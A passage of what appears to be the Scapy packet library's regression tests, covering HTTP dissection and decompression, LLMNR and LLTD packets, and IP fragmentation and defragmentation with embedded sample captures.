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' assert a[29].load == base64_bytes(wireshark_data) # This a valid JPEG image: try it out # open("image.jpg", "wb").write(a[29].load) = TCPSession - dissect HTTP 1.0 html page with Content_Length ~ http load_layer("http") import os # Packet from # https://community.cisco.com/t5/networking-documents/http-packet-captures/ta-p/3121453 tmp = "/test/pcaps/http_content_length.pcap" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename expected_data = b"""Google
A faster way to browse the web



 
  Advanced Search
  Language Tools


Advertising Programs - Business Solutions - About Google

©2010 - Privacy

""" conf.contribs["http"]["auto_compression"] = False a = sniff(offline=filename, session=TCPSession) pkt = a[7] assert HTTP in pkt assert HTTPResponse in pkt assert pkt[HTTP].Content_Length == b'5012' assert len(pkt[Raw].load) == 5012 conf.contribs["http"]["auto_compression"] = True a = sniff(offline=filename, session=TCPSession) pkt = a[7] assert HTTP in pkt assert HTTPResponse in pkt print(pkt[Raw].load, expected_data) assert pkt[Raw].load == expected_data ############ ############ + HTTP 1.0 ~ http = HTTP decompression (gzip) conf.debug_dissector = True load_layer("http") import os import gzip tmp = "/test/pcaps/http_compressed.pcap" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename # First without auto decompression conf.contribs["http"]["auto_compression"] = False pkts = sniff(offline=filename, session=TCPSession) data = b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x02\xffEQ]o\xdb0\x0c\xfc+\x9a\x1f\x92\xa7\x9a\x96?\xe4\xb8\x892`I\x81\r\xe8\xda\xa2p1\xec\xa9P-\xd5\x16*[\x86\xa5\xd8K\x7f\xfd\xa8\x14E\x1f\x8e:R\x07\xf2D\xed\xbe\x1d\xef\x0f\xf5\xdf\x87\x1b\xd2\xf9\xde\x90\x87\xa7\x1f\xb7\xbf\x0e$\xba\x02\xf8\x93\x1d\x00\x8e\xf5\x91\xfc\xac\x7f\xdf\x92\xe5?9\x89QV\x01\x02\x00\x00' pkts[2].show() assert HTTPResponse in pkts[2] assert pkts[2].Expires == b'Mon, 22 Apr 2019 15:23:19 GMT' assert pkts[2].Content_Type == b'text/html; charset=UTF-8' assert pkts[2].load == data # Now with auto decompression conf.contribs["http"]["auto_compression"] = True pkts = sniff(offline=filename, session=TCPSession) pkts[2].show() assert HTTPResponse in pkts[2] assert pkts[2].load == b'' = HTTP decompression (brotli) ~ brotli conf.debug_dissector = True load_layer("http") import os import brotli tmp = "/test/pcaps/http_compressed-brotli.pcap" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename # First without auto decompression conf.contribs["http"]["auto_compression"] = False pkts = sniff(offline=filename, session=TCPSession) data = b'\x1f\x41\x00\xe0\xc5\x6d\xec\x77\x56\xf7\xb5\x8b\x1c\x52\x10\x48\xe0\x90\x03\xf6\x6f\x97\x30\xd0\x40\x24\xb8\x01\x9b\xdb\xa0\xf4\x5c\x92\x4c\xc4\x6f\x89\x58\xf7\x4b\xf7\x4b\x6f\x8c\x2e\x2c\x28\x64\x06\x1d\x03' pkts[0].show() assert HTTPResponse in pkts[0] assert pkts[0].Content_Encoding == b'br' assert pkts[0].Content_Type == b'text/plain' assert pkts[0].load == data # Now with auto decompression conf.contribs["http"]["auto_compression"] = True pkts = sniff(offline=filename, session=TCPSession) pkts[0].show() assert HTTPResponse in pkts[0] assert pkts[0].load == b'This is a test file for testing brotli decompression in Wireshark\n' = HTTP PSH bug fix tmp = "/test/pcaps/http_tcp_psh.pcap.gz" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename pkts = sniff(offline=filename, session=TCPSession) assert len(pkts) == 15 # Verify a split header exists in the packet assert pkts[5].User_Agent == b'example_user_agent' # Verify all of the response data exists in the packet assert int(pkts[7][HTTP].Content_Length.decode()) == len(pkts[7][Raw].load) = HTTP build pkt = TCP()/HTTP()/HTTPRequest(Method=b'GET', Path=b'/download', Http_Version=b'HTTP/1.1', Accept=b'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', Accept_Encoding=b'gzip, deflate', Accept_Language=b'en-US,en;q=0.5', Cache_Control=b'max-age=0', Connection=b'keep-alive', Host=b'scapy.net', User_Agent=b'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0') raw_pkt = raw(pkt) raw_pkt assert raw_pkt == b'\x00P\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x00\x00\x00\x00GET /download HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.5\r\nCache-Control: max-age=0\r\nConnection: keep-alive\r\nHost: scapy.net\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0\r\n\r\n' = HTTP 1.1 -> HTTP 2.0 Upgrade (h2c) ~ Test h2c conf.debug_dissector = True load_layer("http") from scapy.contrib.http2 import H2Frame import os tmp = "/test/pcaps/http2_h2c.pcap" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename pkts = sniff(offline=filename, session=TCPSession) assert HTTPResponse in pkts[1] assert pkts[1].Connection == b"Upgrade" assert H2Frame in pkts[1] assert pkts[1][H2Frame].settings[0].id == 3 for i in range(3, 10): assert HTTP not in pkts[i] assert H2Frame in pkts[i] = Test chunked with gzip conf.contribs["http"]["auto_compression"] = False z = b'\x1f\x8b\x08\x00S\\-_\x02\xff\xb3\xc9(\xc9\xcd\xb1\xcb\xcd)\xb0\xd1\x07\xb3\x00\xe6\xedpt\x10\x00\x00\x00' a = IP(dst="1.1.1.1", src="2.2.2.2")/TCP(seq=1)/HTTP()/HTTPResponse(Content_Encoding="gzip", Transfer_Encoding="chunked")/(b"5\r\n" + z[:5] + b"\r\n") b = IP(dst="1.1.1.1", src="2.2.2.2")/TCP(seq=len(a[TCP].payload)+1)/HTTP()/(hex(len(z[5:])).encode()[2:] + b"\r\n" + z[5:] + b"\r\n0\r\n\r\n") xa, xb = IP(raw(a)), IP(raw(b)) conf.contribs["http"]["auto_compression"] = True c = sniff(offline=[xa, xb], session=TCPSession)[0] assert gzip_decompress(z) == c.load ############ ############ + LLMNR protocol = Simple packet dissection pkt = Ether(b'\x11\x11\x11\x11\x11\x11\x99\x99\x99\x99\x99\x99\x08\x00E\x00\x00(\x00\x01\x00\x00@\x11:\xa4\xc0\xa8\x00w\x7f\x00\x00\x01\x14\xeb\x14\xeb\x00\x14\x95\xcf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert pkt.sport == 5355 assert pkt.dport == 5355 assert pkt[LLMNRQuery].opcode == 0 = Packet build / dissection pkt = UDP(raw(UDP()/LLMNRResponse())) assert LLMNRResponse in pkt assert pkt.qr == 1 assert pkt.c == 0 assert pkt.tc == 0 assert pkt.z == 0 assert pkt.rcode == 0 assert pkt.qdcount == 0 assert pkt.arcount == 0 assert pkt.nscount == 0 assert pkt.ancount == 0 = Answers - building a = UDP()/LLMNRResponse(id=12) b = UDP()/LLMNRQuery(id=12) assert a.answers(b) assert not b.answers(a) assert b.hashret() == b'\x00\x0c' = Answers - dissecting a = Ether(b'\xd0P\x99V\xdd\xf9\x14\x0cv\x8f\xfe(\x08\x00E\x00\x00(\x00\x01\x00\x00@\x11:\xa4\x7f\x00\x00\x01\xc0\xa8\x00w\x14\xeb\x14\xeb\x00\x14\x95\xcf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = Ether(b'\x14\x0cv\x8f\xfe(\xd0P\x99V\xdd\xf9\x08\x00E\x00\x00(\x00\x01\x00\x00@\x11:\xa4\xc0\xa8\x00w\x7f\x00\x00\x01\x14\xeb\x14\xeb\x00\x14\x15\xcf\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert b.answers(a) assert not a.answers(b) ############ ############ + LLTD protocol = Simple packet dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x86\x14\xf0\xc7[.\x88\xd9\x01\x00\x00\x01\xff\xff\xff\xff\xff\xff\x86\x14\xf0\xc7[.\x00\x00\xfe\xe9[\xa9\xaf\xc1\x0bS[\xa9\xaf\xc1\x0bS\x01\x06}[G\x8f\xec.\x02\x04p\x00\x00\x00\x03\x04\x00\x00\x00\x06\x07\x04\xac\x19\x88\xe4\t\x02\x00l\n\x08\x00\x00\x00\x00\x00\x0fB@\x0c\x04\x00\x08=`\x0e\x00\x0f\x0eT\x00E\x00S\x00T\x00-\x00A\x00P\x00\x12\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x04\x00\x00\x00\x00\x15\x01\x02\x18\x00\x19\x02\x04\x00\x1a\x00\x00') assert pkt.dst == pkt.real_dst assert pkt.src == pkt.real_src assert pkt.current_mapper_address == pkt.apparent_mapper_address assert pkt.mac == '7d:5b:47:8f:ec:2e' assert pkt.hostname == "TEST-AP" assert isinstance(pkt[LLTDAttributeEOP].payload, NoPayload) = Packet build / dissection pkt = Ether(raw(Ether(dst=ETHER_BROADCAST, src=RandMAC()) / LLTD(tos=0, function=0))) assert LLTD in pkt assert pkt.dst == pkt.real_dst assert pkt.src == pkt.real_src assert pkt.tos == 0 assert pkt.function == 0 = Attribute build / dissection assert isinstance(LLTDAttribute(), LLTDAttribute) assert isinstance(LLTDAttribute(raw(LLTDAttribute())), LLTDAttribute) assert all(isinstance(LLTDAttribute(type=i), LLTDAttribute) for i in six.moves.range(256)) assert all(isinstance(LLTDAttribute(raw(LLTDAttribute(type=i))), LLTDAttribute) for i in six.moves.range(256)) = Large TLV m1, m2, seq = RandMAC()._fix(), RandMAC()._fix(), 123 preqbase = Ether(src=m1, dst=m2) / LLTD() / \ LLTDQueryLargeTlv(type="Detailed Icon Image") prespbase = Ether(src=m2, dst=m1) / LLTD() / \ LLTDQueryLargeTlvResp() plist = [] pkt = preqbase.copy() pkt.seq = seq plist.append(Ether(raw(pkt))) pkt = prespbase.copy() pkt.seq = seq pkt.flags = "M" pkt.value = "abcd" plist.append(Ether(raw(pkt))) pkt = preqbase.copy() pkt.seq = seq + 1 pkt.offset = 4 plist.append(Ether(raw(pkt))) pkt = prespbase.copy() pkt.seq = seq + 1 pkt.value = "efg" plist.append(Ether(raw(pkt))) builder = LargeTlvBuilder() builder.parse(plist) data = builder.get_data() assert len(data) == 1 key, value = data.popitem() assert key.endswith(' [Detailed Icon Image]') assert value == 'abcdefg' ############ ############ + Test fragment() / defragment() functions = fragment() payloadlen, fragsize = 100, 8 assert fragsize % 8 == 0 fragcount = (payloadlen // fragsize) + bool(payloadlen % fragsize) * create the packet pkt = IP() / ("X" * payloadlen) * create the fragments frags = fragment(pkt, fragsize) * count the fragments assert len(frags) == fragcount * each fragment except the last one should have MF set assert all(p.flags == 1 for p in frags[:-1]) assert frags[-1].flags == 0 * each fragment except the last one should have a payload of fragsize bytes assert all(len(p.payload) == 8 for p in frags[:-1]) assert len(frags[-1].payload) == ((payloadlen % fragsize) or fragsize) = fragment() and overloaded_fields pkt1 = Ether() / IP() / UDP() pkt2 = fragment(pkt1)[0] pkt3 = pkt2.__class__(raw(pkt2)) assert pkt1[IP].proto == pkt2[IP].proto == pkt3[IP].proto = fragment() already fragmented packets payloadlen = 1480 * 3 ffrags = fragment(IP() / ("X" * payloadlen), 1480) ffrags = fragment(ffrags, 1400) len(ffrags) == 6 * each fragment except the last one should have MF set assert all(p.flags == 1 for p in ffrags[:-1]) assert ffrags[-1].flags == 0 * fragment offset should be well computed plen = 0 for p in ffrags: assert p.frag == plen // 8 plen += len(p.payload) assert plen == payloadlen = fragment() with non-multiple-of-8 MTU paylen = 1400 + 1 frags1 = fragment(IP() / ("X" * paylen), paylen) assert len(frags1) == 1 frags2 = fragment(IP() / ("X" * (paylen + 1)), paylen) assert len(frags2) == 2 assert len(frags2[0]) == 20 + paylen - paylen % 8 assert len(frags2[1]) == 20 + 1 + paylen % 8 = defrag() nonfrag, unfrag, badfrag = defrag(frags) assert not nonfrag assert not badfrag assert len(unfrag) == 1 = defragment() defrags = defragment(frags) * we should have one single packet assert len(defrags) == 1 * which should be the same as pkt reconstructed assert defrags[0] == IP(raw(pkt)) = defragment() uses timestamp of last fragment payloadlen, fragsize = 100, 8 assert fragsize % 8 == 0 packet = Ether()/IP()/("X" * payloadlen) frags = fragment(packet, fragsize) for i,frag in enumerate(frags): frag.time -= 100 + i last_time = max(frag.time for frag in frags) defrags = defragment(frags) assert defrags[0].time == last_time nonfrag, defrags, badfrag = defrag(frags) assert defrags[0].time == last_time = defragment() - Missing fragments pkts = fragment(IP(dst="10.0.0.5")/ICMP()/("X"*1500)) assert len(defragment(pkts[1:])) == 1 = defrag() / defragment() - Real DNS packets import base64 a = base64.b64decode('bnmYJ63mREVTUwEACABFAAV0U8UgADIR+u0EAgIECv0DxAA1sRIL83Z7gbCBgAABAB0AAAANA255YwNnb3YAAP8AAcAMAAYAAQAAA4QAKgZ2d2FsbDDADApob3N0bWFzdGVywAx4Og5wAAA4QAAADhAAJOoAAAACWMAMAC4AAQAAA4QAmwAGCAIAAAOEWWm9jVlgdP0mfQNueWMDZ292AHjCDBL0C1rEKUjsuG6Zg3+Rs6gj6llTABm9UZnWk+rRu6nPqW4N7AEllTYqNK+r6uFJ2KhfG3MDPS1F/M5QCVR8qkcbgrqPVRBJAG67/ZqpGORppQV6ib5qqo4ST5KyrgKpa8R1fWH8Fyp881NWLOZekM3TQyczcLFrvw9FFjdRwAwAAQABAAADhAAEobkenMAMAC4AAQAAA4QAmwABCAIAAAOEWWm9jVlgdP0mfQNueWMDZ292ABW8t5tEv9zTLdB6UsoTtZIF6Kx/c4ukIud8UIGM0XdXnJYx0ZDyPDyLVy2rfwmXdEph3KBWAi5dpRT16nthlMmWPQxD1ecg9rc8jcaTGo8z833fYJjzPT8MpMTxhapu4ANSBVbv3LRBnce2abu9QaoCdlHPFHdNphp6JznCLt4jwAwAMAABAAADhAEIAQEDCAMBAAF77useCfI+6T+m6Tsf2ami8/q5XDtgS0Ae7F0jUZ0cpyYxy/28DLFjJaS57YiwAYaabkkugxsoSv9roqBNZjD+gjoUB+MK8fmfaqqkSOgQuIQLZJeOORWD0gAj8mekw+S84DECylbKyYEGf8CB3/59IfV+YkTcHhXBYrMNxhMK1Eiypz4cgYxXiYUSz7jbOmqE3hU2GinhRmNW4Trt4ImUruSO+iQbTTj6LtCtIsScOF4vn4gcLJURLHOs+mf1NU9Yqq9mPC9wlYZk+8rwqcjVIiRpDmmv83huv4be1x1kkz2YqTFwtc33Fzt6SZk96Qtk2wCgg8ZQqLKGx5uwIIyrwAwAMAABAAADhAEIAQEDCAMBAAGYc7SWbSinSc3u8ZcYlO0+yZcJD1vqC5JARxZjKNzszHxc9dpabBtR9covySVu1YaBVrlxNBzfyFd4PKyjvPcBER5sQImoCikC+flD5NwXJbnrO1SG0Kzp8XXDCZpBASxuBF0vjUSU9yMqp0FywCrIfrbfCcOGAFIVP0M2u8dVuoI4nWbkRFc0hiRefoxc1O2IdpR22GAp2OYeeN2/tnFBz/ZMQitU2IZIKBMybKmWLC96tPcqVdWJX6+M1an1ox0+NqBZuPjsCx0/lZbuB/rLHppJOmkRc7q2Fw/tpHOyWHV+ulCfXem9Up/sbrMcP7uumFz0FeNhBPtg3u5kA5OVwAwAMAABAAADhACIAQADCAMBAAF5mlzmmq8cs6Hff0qZLlGKYCGPlG23HZw2qAd7N2FmrLRqPQ0R/hbnw54MYiIs18zyfm2J+ZmzUvGd+gjHGx3ooRRffQQ4RFLq6g6oxaLTbtvqPFbWt4Kr2GwX3UslgZCzH5mXLNpPI2QoetIcQCNRdcxn5QpWxPppCVXbKdNvvcAMADAAAQAAA4QAiAEAAwgDAQABqeGHtNFc0Yh6Pp/aM+ntlDW1fLwuAWToGQhmnQFBTiIUZlH7QMjwh5oMExNp5/ABUb3qBsyk9CLanRfateRgFJCYCNYofrI4S2yqT5X9vvtCXeIoG/QqMSl3PJk4ClYufIKjMPgl5IyN6yBIMNmmsATlMMu5TxM68a/CLCh92L3ADAAuAAEAAAOEAJsAMAgCAAADhFlpvY1ZYHT9Jn0DbnljA2dvdgAViVpFoYwy9dMUbOPDHTKt/LOtoicvtQbHeXiUSQeBkGWTLyiPc/NTW9ZC4WK5AuSj/0+V') b = base64.b64decode('bnmYJ63mREVTUwEACABFAAV0U8UgrDIR+kEEAgIECv0DxApz1F5olFRytjhNlG/JbdW0NSAFeUUF4rBRqsly/h6nFWKoQfih35Lm+BFLE0FoMaikWCjGJQIuf0CXiElMSQifiDM+KTeecNkCgTXADAAuAAEAAAOEARsAMAgCAAADhFlpvY1ZYHT9VwUDbnljA2dvdgAdRZxvC6VlbYUVarYjan0/PlP70gSz1SiYCDZyw5dsGo9vrZd+lMcAm5GFjtKYDXeCb5gVuegzHSNzxDQOa5lVKLQZfXgVHsl3jguCpYwKAygRR3mLBGtnhPrbYcPGMOzIxO6/UE5Hltx9SDqKNe2+rtVeZs5FyHQE5pTVGVjNED9iaauEW9UF3bwEP3K+wLgxWeVycjNry/l4vt9Z0fyTU15kogCZG8MXyStJlzIgdzVZRB96gTJbGBDRFQJfbE2Af+INl0HRY4p+bqQYwFomWg6Tzs30LcqAnkptknb5peUNmQTBI/MU00A6NeVJxkKK3+lf2EuuiJl+nFpfWiKpwAwAMwABAAADhAAJAQAADASqu8zdwAwALgABAAADhACbADMIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAVhcqgSl33lqjLLFR8pQ2cNhdX7dKZ2gRy0vUHOa+980Nljcj4I36rfjEVJCLKodpbseQl0OeTsbfNfqOmi1VrsypDl+YffyPMtHferm02xBK0agcTMdP/glpuKzdKHTiHTlnSOuBpPnEpgxYPNeBGx8yzMvIaU5rOCxuO49Sh/PADAACAAEAAAOEAAoHdndhbGw0YcAMwAwAAgABAAADhAAKB3Z3YWxsMmHADMAMAAIAAQAAA4QACgd2d2FsbDNhwAzADAACAAEAAAOEAAoHdndhbGwxYcAMwAwALgABAAADhACbAAIIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YANn7LVY7YsKLtpH7LKhUz0SVsM/Gk3T/V8I9wIEZ4vEklM9hI92D2aYe+9EKxOts+/py6itZfANXU197pCufktASDxlH5eWSc9S2uqrRnUNnMUe4p3Jy9ZCGhiHDemgFphKGWYTNZUJoML2+SDzbv9tXo4sSbZiKJCDkNdzSv2lfADAAQAAEAAAOEAEVEZ29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uPWMycnhTa2VPZUxpSG5iY24tSXhZZm5mQjJQcTQzU3lpeEVka2k2ODZlNDTADAAQAAEAAAOEADc2dj1zcGYxIGlwNDoxNjEuMTg1LjIuMC8yNSBpcDQ6MTY3LjE1My4xMzIuMC8yNSBteCAtYWxswAwALgABAAADhACbABAIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAjzLOj5HUtVGhi/emNG90g2zK80hrI6gh2d+twgVLYgWebPeTI2D2ylobevXeq5rK5RQgbg2iG1UiTBnlKPgLPYt8ZL+bi+/v5NTaqHfyHFYdKzZeL0dhrmebRbYzG7tzOllcAOOqieeO29Yr4gz1rpiU6g75vkz6yQoHNfmNVMXADAAPAAEAAAOEAAsAZAZ2d2FsbDLADMAMAA8AAQAAA4QACwBkBnZ3YWxsNMAMwAwADwABAAADhAALAAoGdndhbGwzwAzADAAPAAEAAAOEAAsACgZ2d2FsbDXADMAMAA8AAQAAA4QACwAKBnZ3YWxsNsAMwAwADwABAAADhAALAAoGdndhbGw3wAzADAAPAAEAAAOEAAsACgZ2d2FsbDjADMAMAA8AAQAAA4QACwBkBnZ3YWxsMcAMwAwALgABAAADhACbAA8IAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAooXBSj6PfsdBd8sEN/2AA4cvOl2bcioO') c = base64.b64decode('bnmYJ63mREVTUwEACABFAAFHU8UBWDIRHcMEAgIECv0DxDtlufeCT1zQktat4aEVA8MF0FO1sNbpEQtqfu5Al//OJISaRvtaArR/tLUj2CoZjS7uEnl7QpP/Ui/gR0YtyLurk9yTw7Vei0lSz4cnaOJqDiTGAKYwzVxjnoR1F3n8lplgQaOalVsHx9UAAQABAAADLAAEobkBA8epAAEAAQAAAywABKG5AQzHvwABAAEAAAMsAASnmYIMx5MAAQABAAADLAAEp5mCDcn9AAEAAQAAAqUABKeZhAvKFAABAAEAAAOEAAShuQIfyisAAQABAAADhAAEobkCKcpCAAEAAQAAA4QABKG5AjPKWQABAAEAAAOEAAShuQI9ynAAAQABAAADhAAEobkCC8nPAAEAAQAAA4QABKG5AgzJ5gABAAEAAAOEAASnmYQMAAApIAAAAAAAAAA=') d = base64.b64decode('////////REVTUwEACABFAABOawsAAIARtGoK/QExCv0D/wCJAIkAOry/3wsBEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAEAABYP/WUAAB6N4XIAAB6E4XsAAACR/24AADyEw3sAABfu6BEAAAkx9s4AABXB6j4AAANe/KEAAAAT/+wAAB7z4QwAAEuXtGgAAB304gsAABTB6z4AAAdv+JAAACCu31EAADm+xkEAABR064sAABl85oMAACTw2w8AADrKxTUAABVk6psAABnF5joAABpA5b8AABjP5zAAAAqV9WoAAAUW+ukAACGS3m0AAAEP/vAAABoa5eUAABYP6fAAABX/6gAAABUq6tUAADXIyjcAABpy5Y0AABzb4yQAABqi5V0AAFXaqiUAAEmRtm4AACrL1TQAAESzu0wAAAzs8xMAAI7LcTQAABxN47IAAAbo+RcAABLr7RQAAB3Q4i8AAAck+NsAABbi6R0AAEdruJQAAJl+ZoEAABDH7zgAACOA3H8AAAB5/4YAABQk69sAAEo6tcUAABJU7asAADO/zEAAABGA7n8AAQ9L8LMAAD1DwrwAAB8F4PoAABbG6TkAACmC1n0AAlHErjkAABG97kIAAELBvT4AAEo0tcsAABtC5L0AAA9u8JEAACBU36sAAAAl/9oAABBO77EAAA9M8LMAAA8r8NQAAAp39YgAABB874MAAEDxvw4AAEgyt80AAGwsk9MAAB1O4rEAAAxL87QAADtmxJkAAATo+xcAAAM8/MMAABl55oYAACKh3V4AACGj3lwAAE5ssZMAAC1x0o4AAAO+/EEAABNy7I0AACYp2dYAACb+2QEAABB974IAABc36MgAAA1c8qMAAAf++AEAABDo7xcAACLq3RUAAA8L8PQAAAAV/+oAACNU3KsAABBv75AAABFI7rcAABuH5HgAABAe7+EAAB++4EEAACBl35oAAB7c4SMAADgJx/YAADeVyGoAACKN3XIAAA/C8D0AAASq+1UAAOHPHjAAABRI67cAAABw/48=') old_debug_dissector = conf.debug_dissector conf.debug_dissector = 0 plist = PacketList([Ether(x) for x in [a, b, c, d]]) conf.debug_dissector = old_debug_dissector left, defragmented, errored = defrag(plist) assert len(left) == 1 assert left[0] == Ether(d) assert len(defragmented) == 1 assert len(defragmented[0]) == 3093 assert defragmented[0][DNSRR].rrname == b'nyc.gov.' assert len(errored) == 0 plist_def = defragment(plist) assert len(plist_def) == 2 assert len(plist_def[0]) == 3093 assert plist_def[0][DNSRR].rrname == b'nyc.gov.' = Packet().fragment() payloadlen, fragsize = 100, 8 assert fragsize % 8 == 0 fragcount = (payloadlen // fragsize) + bool(payloadlen % fragsize) * create the packet pkt = IP() / ("X" * payloadlen) * create the fragments frags = pkt.fragment(fragsize) * count the fragments assert len(frags) == fragcount * each fragment except the last one should have MF set assert all(p.flags == 1 for p in frags[:-1]) assert frags[-1].flags == 0 * each fragment except the last one should have a payload of fragsize 